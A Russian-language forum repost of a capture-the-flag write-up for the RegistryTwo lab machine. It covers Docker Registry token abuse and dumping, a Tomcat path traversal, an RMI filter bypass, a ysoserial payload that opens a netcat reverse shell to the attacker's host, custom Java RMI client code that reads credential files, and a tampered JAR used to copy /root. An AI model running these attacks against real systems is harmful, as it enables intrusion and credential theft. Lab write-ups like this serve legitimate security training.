• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Эксплуатируем уязвимости Java RMI для полного захвата хоста

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,178
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу эксплуатацию нескольких уязвимостей в Java RMI, но сначала проведем атаку на Docker Registry, которая позволит нам получить доступ к файлам сайта.
Наша цель — захват учетной записи суперпользователя на машине RegistryTwo с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень ее сложности — «безумный».

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:


10.10.11.223 registrytwo.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта

Сканер нашел четыре открытых порта:
  • 22 — служба OpenSSH 7.6p1;
  • 443 — веб‑сервер Nginx 1.14.0;
  • 5000 — сервис Docker Registry;
  • 5001 — сервис аутентификации Docker Registry.
В SSL-сертификатах на веб‑сервере нашлось несколько имен DNS, которые мы тоже добавляем в файл /etc/hosts.

10.10.11.223 registrytwo.htb webhosting.htb [URL='http://www.webhosting.htb']www.webhosting.htb[/URL]
Для просмотра ссылки Войди или Зарегистрируйся

Точка входа​

Переходим к проверке Docker Registry и делаем запрос к API /v2/_catalog.

curl -k -s [URL]https://webhosting.htb:5000/v2/_catalog[/URL] | jq
Ответ сервера
Ответ сервера

Выходит, нам нужно аутентифицироваться на сервере. Поэтому обратимся к порту 5001 для получения токена.

curl -k -s Для просмотра ссылки Войди или Зарегистрируйся | jq
Получение токена доступа
Получение токена доступа
Проверяем полученный токен с помощью Для просмотра ссылки Войди или Зарегистрируйся.

python3 jwt_tool.py eyJ0eXAiOiJKV1Q...
Информация о токене
Информация о токене

Нас интересует поле access, так как оно содержит текущие разрешения. В данном случае оно пустое. Снова выполним запрос к API, но просмотрим и HTTP-заголовки запроса и ответа.

curl -k -s [URL]https://webhosting.htb:5000/v2/_catalog[/URL] -v | jq
Для просмотра ссылки Войди или Зарегистрируйся
В заголовке www-authenticate видим параметры, необходимые для запроса токена. Запросим новый токен, учтя полученные параметры.

curl -k -s '[URL='https://webhosting.htb:5001/auth?service=Docker%20registry&scope=registry:catalog:*']https://webhosting.htb:5001/auth?service=Docker registry&scope=registry:catalog:*[/URL]' | jq
Получение токена
Получение токена

python3 jwt_tool.py eyJ0eXAiOiJKV1Q....
Информация о токене
Информация о токене

В новом токене появились привилегии для доступа к каталогу. Теперь мы можем передать этот токен в запросе к API и получить список репозиториев.

curl -k -s [URL]https://webhosting.htb:5000/v2/_catalog[/URL] -H 'Authorization: Bearer eyJ0eXAi...' | jq
Список репозиториев
Список репозиториев

Для автоматизации работы с репозиториями можно использовать Для просмотра ссылки Войди или Зарегистрируйся. Но есть проблема: скрипт принимает логин и пароль для авторизации на сервере, а мы знаем только токен. Поэтому я немного модифицировал скрипт, чтобы он в качестве учетных данных принимал токен доступа.

Код:
#!/usr/bin/env python3

import requests
import argparse
import re
import json
import sys
import os
from base64 import b64encode
import urllib3
from rich.console import Console
from rich.theme import Theme
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
req = requests.Session()

http_proxy = ""
os.environ['HTTP_PROXY'] = http_proxy
os.environ['HTTPS_PROXY'] = http_proxy


custom_theme = Theme({
   "OK": "bright_green",
   "NOK": "red3"
})

def manageArgs():
   parser = argparse.ArgumentParser()
   parser.add_argument("url", help="URL")
   parser.add_argument("-p", dest='port', metavar='port', type=int, default=5000, help="port to use (default : 5000)")
   auth = parser.add_argument_group("Authentication")
   auth.add_argument('-T', dest='token', type=str, default="", help='Token')

   action = parser.add_mutually_exclusive_group()
   action.add_argument("--dump", metavar="DOCKERNAME", dest='dump', type=str,  help="DockerName")
   action.add_argument("--list", dest='list', action="store_true")
   action.add_argument("--dump_all",dest='dump_all',action="store_true")
   args = parser.parse_args()
   return args

def printList(dockerlist):
   for element in dockerlist:
       if element:
           console.print(f"[+] {element}", style="OK")
       else:
           console.print(f"[-] No Docker found", style="NOK")

def tryReq(url, token=None):
   try:
       if token:
           r = req.get(url,verify=False, headers={'Authorization': 'Bearer ' + token})
           r.raise_for_status()
       else:
           r = req.get(url,verify=False)
           r.raise_for_status()
   except requests.exceptions.HTTPError as errh:
       console.print(f"Http Error: {errh}", style="NOK")
       sys.exit(1)
   except requests.exceptions.ConnectionError as errc:
       console.print(f"Error Connecting : {errc}", style="NOK")
       sys.exit(1)
   except requests.exceptions.Timeout as errt:
       console.print(f"Timeout Error : {errt}", style="NOK")
       sys.exit(1)
   except requests.exceptions.RequestException as err:
       console.print(f"Dunno what happend but something fucked up {err}", style="NOK")
       sys.exit(1)
   return r

def createDir(directoryName):
   if not os.path.exists(directoryName):
       os.makedirs(directoryName)

def downloadSha(url, port, docker, sha256, token=None):
   createDir(docker)
   directory = f"./{docker}/"
   for sha in sha256:
       filenamesha = f"{sha}.tar.gz"
       geturl = f"{url}:{str(port)}/v2/{docker}/blobs/sha256:{sha}"
       r = tryReq(geturl,token)
       if r.status_code == 200:
           console.print(f"    [+] Downloading : {sha}", style="OK")
           with open(directory+filenamesha, 'wb') as out:
               for bits in r.iter_content():
                   out.write(bits)

def getBlob(docker, url, port, token=None):
   tags = f"{url}:{str(port)}/v2/{docker}/tags/list"
   rr = tryReq(tags,token)
   data = rr.json()
   image = data["tags"][0]
   url = f"{url}:{str(port)}/v2/{docker}/manifests/"+image+""
   r = tryReq(url,token)
   blobSum = []
   if r.status_code == 200:
       regex = re.compile('blobSum')
       for aa in r.text.splitlines():
           match = regex.search(aa)
           if match:
               blobSum.append(aa)
       if not blobSum :
           console.print(f"[-] No blobSum found", style="NOK")
           sys.exit(1)
       else :
           sha256 = []
           cpt = 1
           for sha in blobSum:
               console.print(f"[+] BlobSum found {cpt}", end='\r', style="OK")
               cpt += 1
               a = re.split(':|,',sha)
               sha256.append(a[2].strip("""))
           print()
           return sha256

def enumList(url, port, token=None,checklist=None):
   url = f"{url}:{str(port)}/v2/_catalog"
   try :
       r = tryReq(url,token)
       if r.status_code == 200:
           catalog2 = re.split(':|,|\n ',r.text)
           catalog3 = []
           for docker in catalog2:
               dockername = docker.strip("['"\n]}{")
               catalog3.append(dockername)
       printList(catalog3[1:])
       return catalog3
   except:
       exit()

def dump(args):
   sha256 = getBlob(args.dump, args.url, args.port, args.token)
   console.print(f"[+] Dumping {args.dump}", style="OK")
   downloadSha(args.url, args.port, args.dump, sha256, args.token)

def dumpAll(args):
   dockerlist = enumList(args.url, args.port, args.token)
   for docker in dockerlist[1:]:
       sha256 = getBlob(docker, args.url, args.port, args.token)
       console.print(f"[+] Dumping {docker}", style="OK")
       downloadSha(args.url, args.port,docker,sha256,args.token)

def options():
   args = manageArgs()
   if args.list:
       enumList(args.url, args.port,args.token)
   elif args.dump_all:
       dumpAll(args)
   elif args.dump:
       dump(args)

if name == 'main':
   print(f"[+]======================================================[+]")
   print(f"[|]    Docker Registry Grabber v1       @SyzikSecu       [|]")
   print(f"[+]======================================================[+]")
   print()
   urllib3.disable_warnings()
   console = Console(theme=custom_theme)
   options()

Токен передаем в параметре -T, а для проверки получим список репозиториев. В этом нам поможет параметр --list.

python3 DockerGraber_token.py --list [URL]https://webhosting.htb[/URL] -T eyJ0eXAi...
Список репозиториев
Список репозиториев

Теперь сдампим весь репозиторий на свой хост, для чего передаем название репозитория в параметре --dump.

python3 DockerGraber_token.py --dump hosting-app [URL]https://webhosting.htb[/URL] -T eyJ0eXA
Дамп репозитория
Дамп репозитория

Получаем сообщение об ошибке, так как у этого токена нет разрешений на дамп репозиториев. Нужно запросить новый токен, для чего снова обращаемся к API /v2/hosting-app/tags/list и получаем параметры из HTTP-заголовка.

curl -k -s [URL]https://webhosting.htb:5000/v2/hosting-app/tags/list[/URL] -v | jq
Ответ сервера
Ответ сервера

curl -k -s '[URL='https://webhosting.htb:5001/auth?service=Docker%20registry&scope=repository:hosting-app:pull']https://webhosting.htb:5001/auth?service=Docker registry&scope=repository:hosting-app:pull[/URL]' | jq
Запрос токена
Запрос токена

python3jwt_tool.py eyJ0eXAiOiJKV1Q....
Повторно дампим репозиторий hosting-app с новым токеном, на этот раз успешно.

python3 DockerGraber_token.py --dump hosting-app [URL]https://webhosting.htb[/URL] -T eyJ0eXAiOiJKV1Q...
Дамп репозитория
Дамп репозитория

После загрузки всех архивов переходим к анализу файлов. Их у нас теперь очень много, поэтому нужно определить, что из этого будет нам полезно.

Точка опоры​

В самом первом по алфавиту архиве (0bf45c...79d0ba) находим файл hosting.ini с паролем для MySQL. Он может пригодиться.

Содержимое файла hosting.ini
Содержимое файла hosting.ini

А вот в архиве 4a19a0...82ac42 лежит весь каталог Apache Tomcat, что дает нам доступ к исходному коду сайта.

Содержимое каталога tomcat
Содержимое каталога tomcat

Больше всего нас интересует каталог webapps, содержащий исходники работающих на сервере веб‑приложений, где и находим модуль hosting.

Содержимое каталога hosting
Содержимое каталога hosting

Теперь можно перейти к анализу самого сайта.

Apache Tomcat — path traversal​

Регистрируемся и авторизуемся на сайте, чтобы получить доступ ко всем возможностям.

Главная страница авторизованного пользователя
Главная страница авторизованного пользователя

При тестировании сайтов на Tomcat всегда стоит проверять, нет ли уязвимости обхода каталога.

[URL unfurl="true"]https://www.webhosting.htb/hosting/..;/examples/[/URL]
Результат проверки пути
Результат проверки пути

Мы узнали, что уязвимость есть, поэтому сразу перейдем к странице Servlet Examples.

Страница Servlet Examples
Страница Servlet Examples

Эта страница открывает богатейшие возможности для манипулирования данными сессий и даже сайта.
Пришло время перейти к анализу кода обнаруженного ранее модуля. Так как это приложение на Java, для его реверса я буду использовать Для просмотра ссылки Войди или Зарегистрируйся.

В классе AuthenticationServlet видим, что пользователь может быть менеджером, за что отвечает атрибут сессии s_IsLoggedInUserRoleManager (строки 43–45).

Декомпилированный код класса AuthenticationServlets
Декомпилированный код класса AuthenticationServlets

Судя по классу ConfigurationServlet, можно делать настройки. Доступ к этим функциям имеет как раз пользователь с ролью менеджера (строки 42–46).

Декомпилированный код класса ConfigurationServlet
Декомпилированный код класса ConfigurationServlet

Один из сервлетов Tomcat позволяет манипулировать атрибутами сессий. Давай активируем роль менеджера, для чего атрибуту s_IsLoggedInUserRoleManager установим значение true.

[URL unfurl="true"]https://www.webhosting.htb/hosting/..;/examples/servlets/servlet/SessionExample[/URL]
Страница сервлета Session Example
Страница сервлета Session Example
Установленные атрибуты сессии
Установленные атрибуты сессии

RCE через Java RMI​

Теперь можно перейти к новой странице /hosting/reconfigure и отправить запрос на сохранение изменений. Это нужно, чтобы получить параметры запроса и найти эту функцию в исходниках приложения.

Страница /reconfigure
Страница /reconfigure
Запрос для сохранения изменений
Запрос для сохранения изменений

На прошлом скриншоте исходного кода класса ConfigurationServlet нас интересует обработчик doPost (строки 28–38). В зависимости от полученных параметров управление дальше передается разным обработчикам. Так, параметры domains.max и domains.start-template упоминаются только в классе DomainServlet (строки 49–62).

Исходный код класса DomainServlet
Исходный код класса DomainServlet

При этом в строках 59 и 60 вызывается метод get класса RMIClientWrapper. В коде этого метода также отыскался параметр rmi.host, который в запросе не передавался.

Исходный код класса RMIClientWrapper
Исходный код класса RMIClientWrapper

Видимо, если мы отправим адрес хоста в параметре rmi.host, сервер выполнит запрос по этому адресу. В коде видим фильтр, который проверяет, оканчивается ли адрес подстрокой .htb. Этот фильтр мы можем обойти, используя нулевой байт %00. Запускаем листенер (nc -nlvp 9002) и выполняем запрос.

Запрос на сервер
Запрос на сервер
Логи листенера
Логи листенера
И моментально в окне листенера видим входящий запрос RMI.

Java RMI — это механизм, который позволяет вызывать метод удаленного объекта, даже на другом сервере. В некоторых вариантах такое подключение может привести даже к RCE, так как передаются и выполняются сериализованные данные.

Попробуем использовать Для просмотра ссылки Войди или Зарегистрируйся. Для этого запускаем Для просмотра ссылки Войди или Зарегистрируйся в режиме листенера, который примет запрос и вернет нагрузку, выполняющую реверс‑шелл. Также запускаем листенер (rlwrap nc -nlpv 4321), чтобы принимать соединение от реверс‑шелла.

/usr/lib/jvm/java-11-openjdk-amd64/bin/java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 9002 CommonsCollections6 'nc 10.10.16.29 4321 -e /bin/bash'
Когда все готово, повторяем запрос в Burp Repeater и получаем сначала запрос RMI, а затем и бэкконнект.

Логи ysoserial
Логи ysoserial
Сессия пользователя app
Сессия пользователя app

Продвижение​

Судя по ограничениям командной оболочки, мы попали в контейнер Docker. Так как на хосте работает Java RMI, эксплуатация уязвимостей в этом механизме — наиболее вероятный путь для продвижения. Среди открытых портов видим 9002.

netstat -tulpan
Прослушиваемые порты
Прослушиваемые порты

Для доступа к порту нужно сделать туннель, к примеру с помощью Для просмотра ссылки Войди или Зарегистрируйся. На своем хосте запускаем режим сервера, ожидающий подключения к порту 5432.

./chisel.bin server -p 5432 --reverse
На удаленном хосте — режим клиента, которому указываем адрес для подключения, а также настройку туннеля socks.

./chisel.bin client 10.10.16.29:5432 R:127.0.0.1:socks
В логах сервера мы должны увидеть созданную сессию.

Логи сервера chisel
Логи сервера chisel

Для исследования RMI-приложений я использую инструмент Для просмотра ссылки Войди или Зарегистрируйся. Для первой проверки задаем опцию enum, а чтобы направить трафик в созданный туннель, в конец файла /etc/proxychains.conf добавляем запись socks5 127.0.0.1 1080.

proxychains -q /usr/lib/jvm/java-11-openjdk-amd64/bin/java -jar rmg-4.4.1-jar-with-dependencies.jar enum 127.0.0.1 9002
Результат проверки RMI
Результат проверки RMI

Нам доступны два класса: QuarantineService и FileService. О первом сказать нечего, а вот FileService уже присутствовал в исследованном ранее приложении.

Исходный код интерфейса FileService
Исходный код интерфейса FileService

Интерфейс содержит много методов, скорее всего, для работы с файловой системой. Попробуем найти вызовы метода list, видимо, отображающего содержимое переданного каталога (строка 18).

Исходный код класса FileUtil
Исходный код класса FileUtil

Переходим к сложной части. Нужно будет написать свое приложение, использующее тот же интерфейс, при этом нужно подключаться к RMI и вызывать метод list на удаленном хосте. В качестве среды разработки я буду использовать Intellij IDEA.

Распакуем полученное приложение, удалим из него файл класса RMIClientWrapper и создадим новый проект со своей реализацией. Копируем старый код, в методе get явно указываем адрес сервера, а также добавляем функцию main, получающую список файлов.

Код:
public class RMIClientWrapper {
   private static final Logger log = Logger.getLogger(RMIClientWrapper.class.getSimpleName());

   public static FileService get() {
       try {
           String rmiHost = "registry.webhosting.htb";
           System.setProperty("java.rmi.server.hostname", rmiHost);
           System.setProperty("com.sun.management.jmxremote.rmi.port", "9002");
           Registry registry = LocateRegistry.getRegistry(rmiHost, 9002);
           return (FileService)registry.lookup("FileService");
       } catch (Exception e) {
           e.printStackTrace();
           throw new RuntimeException(e);
       }
   }

   public static void main(String args[]) {
       try {
           String dir = "/";
           List<AbstractFile> files = get().list("950ba61ab119", dir);

           System.out.println("=================================");
           System.out.println("Listing: " + dir);
           for( AbstractFile file : files ) {
               System.out.println( file.getAbsolutePath() );
           }
           System.out.println("=================================");
       } catch (RemoteException e) {
           e.printStackTrace();
       };
   }
}

Для работы этого кода добавляем в наш файл реализацию других затронутых классов и методов. Импорты среда разработки подтянет автоматически.

Код:
class AbstractFile implements Serializable {
   private static final long serialVersionUID = 2267537178761464006L;
   private final String fileRef;
   private final String vhostId;
   private final String displayName;
   private final File file;
   private final String absolutePath;
   private final String relativePath;
   private final boolean isFile;
   private final boolean isDirectory;
   private final long displaySize;
   private final String displayPermission;
   private final long displayModified;
   private final AbstractFile parentFile;

   public boolean isFile() {
       return this.isFile;
   }

   public String getName() {
       return this.file.getName();
   }

   public boolean canExecute() {
       return this.getFile().canExecute();
   }

   public boolean exists() {
       return this.isFile || this.isDirectory;
   }

   public AbstractFile(String fileRef, String vhostId, String displayName, File file, String absolutePath, String relativePath, boolean isFile, boolean isDirectory, long displaySize, String displayPerm
ission, long displayModified, AbstractFile parentFile) {
       this.fileRef = fileRef;
       this.vhostId = vhostId;
       this.displayName = displayName;
       this.file = file;
       this.absolutePath = absolutePath;
       this.relativePath = relativePath;
       this.isFile = isFile;
       this.isDirectory = isDirectory;
       this.displaySize = displaySize;
       this.displayPermission = displayPermission;
       this.displayModified = displayModified;
       this.parentFile = parentFile;
   }

   public String getFileRef() {
       return this.fileRef;
   }

   public String getVhostId() {
       return this.vhostId;
   }

   public String getDisplayName() {
       return this.displayName;
   }

   public File getFile() {
       return this.file;
   }

   public String getAbsolutePath() {
       return this.absolutePath;
   }

   public String getRelativePath() {
       return this.relativePath;
   }

   public boolean isDirectory() {
       return this.isDirectory;
   }

   public long getDisplaySize() {
       return this.displaySize;
   }

   public String getDisplayPermission() {
       return this.displayPermission;
   }

   public long getDisplayModified() {
       return this.displayModified;
   }

   public AbstractFile getParentFile() {
       return this.parentFile;
   }
}

interface FileService extends Remote {
   public List<AbstractFile> list(String var1, String var2) throws RemoteException;

   public boolean uploadFile(String var1, String var2, byte[] var3) throws IOException;

   public boolean delete(String var1) throws RemoteException;

   public boolean createDirectory(String var1, String var2) throws RemoteException;

   public byte[] view(String var1, String var2) throws IOException;

   public AbstractFile getFile(String var1, String var2) throws RemoteException;

   public AbstractFile getFile(String var1) throws RemoteException;

   public void deleteDomain(String var1) throws RemoteException;

   public boolean newDomain(String var1) throws RemoteException;

   public byte[] view(String var1) throws RemoteException;
}

Теперь переходим к функции main и рядом с ее определением нажимаем кнопочку запуска приложения.

Реализация класса RMIClientWrapper
Реализация класса RMIClientWrapper

Ошибка при запуске приложения
Ошибка при запуске приложения

Но при запуске видим ошибку соединения, так как приложение не может получить доступ к порту в обход туннеля. Давай просто скопируем строку запуска и запустим программу в консоли, но уже через proxychains.

Результат работы приложения
Результат работы приложения

И получаем содержимое каталога приложения! Теперь мы можем просматривать файловую систему удаленного сервера, просто меняя в нашем приложении переменную dir. Давай просмотрим домашние каталоги пользователей.

Для просмотра ссылки Войди или Зарегистрируйся
Содержимое каталога /home/developer
Содержимое каталога /home/developer

Находим всего одного пользователя с домашним каталогом, где есть очень интересный файл .git-credentials. Теперь получим его содержимое, для чего будем использовать метод view. Давай дополним функцию main и для пробы прочитаем файл /etc/passwd.


Код:
public static void main(String args[]) {
       try {
           String dir = "../../../../home/developer/";
           List<AbstractFile> files = get().list("950ba61ab119", dir);
           System.out.println("=================================");
           System.out.println("Listing: " + dir);
           for( AbstractFile file : files ) {
               System.out.println( file.getAbsolutePath() );
           }
           System.out.println("=================================\n");


           String filename = "/etc/passwd";
           System.out.println("Content " + filename + " :");
           byte[] byteContent = get().view(filename);
           String content = new String( byteContent, StandardCharsets.UTF_8 );
           System.out.println(content);
       } catch (RemoteException e) {
           e.printStackTrace();
       };
   }

Результат выполнения кода
Результат выполнения кода

Во время чтения файла получаем ошибку, разобраться с которой у меня долго не выходило, пока на форуме мне не указали на то, что имя файла шифруется перед отправкой. Тогда код функции main приобретает следующий вид.

Код:
public static void main(String args[]) {
       try {
           String dir = "../../../../home/developer/";
           List<AbstractFile> files = get().list("950ba61ab119", dir);
           System.out.println("=================================");
           System.out.println("Listing: " + dir);
           for( AbstractFile file : files ) {
               System.out.println( file.getAbsolutePath() );
           }
           System.out.println("=================================\n");


           String filename = "/etc/passwd";
           System.out.println("Content " + filename + " :");
           CryptUtil cryptUtil = new CryptUtil();

           byte[] byteContent = get().view(cryptUtil.encrypt(filename));
           String content = new String( byteContent, StandardCharsets.UTF_8 );
           System.out.println(content);

       } catch (RemoteException e) {
           e.printStackTrace();
       };
   }

Добавляем в файл код класса CryptUtil.

Код:
class CryptUtil {
   public static CryptUtil instance = new CryptUtil();
   Cipher ecipher;
   Cipher dcipher;
   byte[] salt = new byte[]{-87, -101, -56, 50, 86, 53, -29, 3};
   int iterationCount = 19;
   String secretKey = "48gREsTkb1evb3J8UfP7";

   public static CryptUtil getInstance() {
       return instance;
   }

   public String encrypt(String plainText) {
       try {
           PBEKeySpec keySpec = new PBEKeySpec(this.secretKey.toCharArray(), this.salt, this.iterationCount);
           SecretKey key = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(keySpec);
           PBEParameterSpec paramSpec = new PBEParameterSpec(this.salt, this.iterationCount);
           this.ecipher = Cipher.getInstance(key.getAlgorithm());
           this.ecipher.init(1, key, paramSpec);
           String charSet = "UTF-8";
           byte[] in = plainText.getBytes("UTF-8");
           byte[] out = this.ecipher.doFinal(in);
           String encStr = Base64.getUrlEncoder().encodeToString(out);
           return encStr;
       }
       catch (Exception e) {
           throw new RuntimeException(e);
       }
   }

   public String decrypt(String encryptedText) throws NoSuchAlgorithmException, InvalidKeySpecException, NoSuchPaddingException, InvalidKeyException, InvalidAlgorithmParameterException, UnsupportedEnco
dingException, IllegalBlockSizeException, BadPaddingException, IOException {
       PBEKeySpec keySpec = new PBEKeySpec(this.secretKey.toCharArray(), this.salt, this.iterationCount);
       SecretKey key = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(keySpec);
       PBEParameterSpec paramSpec = new PBEParameterSpec(this.salt, this.iterationCount);
       this.dcipher = Cipher.getInstance(key.getAlgorithm());
       this.dcipher.init(2, key, paramSpec);
       byte[] enc = Base64.getUrlDecoder().decode(encryptedText);
       byte[] utf8 = this.dcipher.doFinal(enc);
       String charSet = "UTF-8";
       String plainStr = new String(utf8, "UTF-8");
       return plainStr;
   }
}

Результат выполнения кода
Результат выполнения кода

Код работает, теперь у нас есть возможность читать файлы. Вернемся к файлу .git-credentials.

Содержимое файла .git-credentials
Содержимое файла .git-credentials

С полученными учетными данными авторизуемся по SSH и забираем первый флаг.

Флаг пользователя
Флаг пользователя

Локальное повышение привилегий​

Мы в системе, пора собирать информацию! Я, как всегда, загружу и запущу на целевом хосте PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Просматриваем вывод скрипта и подмечаем, что в каталоге /opt есть созданный пользователем файл registry.jar.

Файлы, добавленные пользователем
Файлы, добавленные пользователем

Информации мало, поэтому проследим, запускается ли этот файл. Для отслеживания запускаемых процессов в системе мы будем использовать утилиту Для просмотра ссылки Войди или Зарегистрируйся. В выводе находим запуск другого файла — quarantine.jar. Но, что более интересно, он запускается в контексте пользователя с UID=0, а это root.

Вывод утилиты pspy64
Вывод утилиты pspy64

Скачиваем оба файла на свой хост для анализа.

Код:
scp developer@webhosting.htb:/usr/share/vhost-manage/includes/quarantine.jar ./
scp developer@webhosting.htb:/opt/registry.jar ./

Начинаем с файла, который запускается. В функции Main создается объект класса Client и вызывается метод scan (строка 10).

Исходный код класса Main
Исходный код класса Main

Этот класс доступен и через RMI. После подключения к порту 9002 происходит получение конфигурации, которая передается конструктору класса ClamScan (строки 28–31). В методе scan программа получает список файлов, каждый из которых передается в метод doScan (строки 35–43).

Исходный код класса Client
Исходный код класса Client

В конфиге указан каталог для сканирования и каталог, видимо, для результатов сканирования, а также хост, порт и тайм‑аут для подключения (строки 10–14).

Исходный код класса QuarantineConfiguration
Исходный код класса QuarantineConfiguration

Переходим к методу doScan, где стоит обратить внимание на строки 69, 70 и 77. Если при сканировании метод scanPath класса ClamScan вернет FAILED, то файл передается на карантин, где и происходит копирование файла.

Исходный код класса Client (продолжение)
Исходный код класса Client (продолжение)

Перейдем к классу ClamScan и взглянем на метод scanPath. Первым делом он подключается к указанному в конфигурации адресу (строки 163–165). Отправляется лишь информация о сканируемом файле (строки 204–205).

Исходный код класса Client (продолжение)
Исходный код класса Client (продолжение)

Исходный код класса ScanResult
Исходный код класса ScanResult

Теперь перейдем к файлу сервера RMI. Сервер принимает соединение и передает конфиги.

Код класса Server
Код класса Server

Создание конфига с параметрами находим в классе QuarantineServerImpl.

Код класса QuarantineServerImpl
Код класса QuarantineServerImpl

Выходит, что если мы сможем запустить свой сервер и передать свои конфиги для сканирования, то у нас появится возможность скопировать все файлы из произвольного каталога. Конечно же, нам интересен каталог пользователя root. Еще раз запускаем pspy64, чтобы отследить, происходит ли запуск файла сервера.

Логи pspy64
Логи pspy64

В логах находим периодический перезапуск файла сервера, а значит, мы можем успеть запустить свою версию.

В этот раз мы не будем заново писать код, а изменим в уже собранном файле всего одну строку в классе QuarantineServerImpl, где происходит установка конфига. Это строка 15.

private static final QuarantineConfiguration DEFAULT_CONFIG = new QuarantineConfiguration(new File("/tmp/quarantine"), new File("/root/"), "10.10.16.29", 3310, 1000);

Указываем каталог /root/ для сканирования и копирования файлов в каталог/tmp/quarantine. Затем в меню декомпилятора выбираем File → Export Program и сохраняем новый файл JAR. Копируем его на удаленный сервер и запускаем в цикле. Как только сервер запустится, получим соответствующее сообщение.

while true;do java -jar registry_new.jar 2>/dev/null;done
Запуск сервера RMI
Запуск сервера RMI
Для получения логов на локальном хосте откроем порт 3310.

socat -d -d TCP4-LISTEN:3310,reuseaddr,fork STDOUT
Логи сканирования
Логи сканирования

В логах снова видим файл .git-credentials. Давай найдем его на сервере.

find ./ -name git
Каталоги с отчетами о сканировании
Каталоги с отчетами о сканировании

Содержимое файла .git-credentials
Содержимое файла .git-credentials

С полученным паролем авторизуемся от имени root и забираем последний флаг.

Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу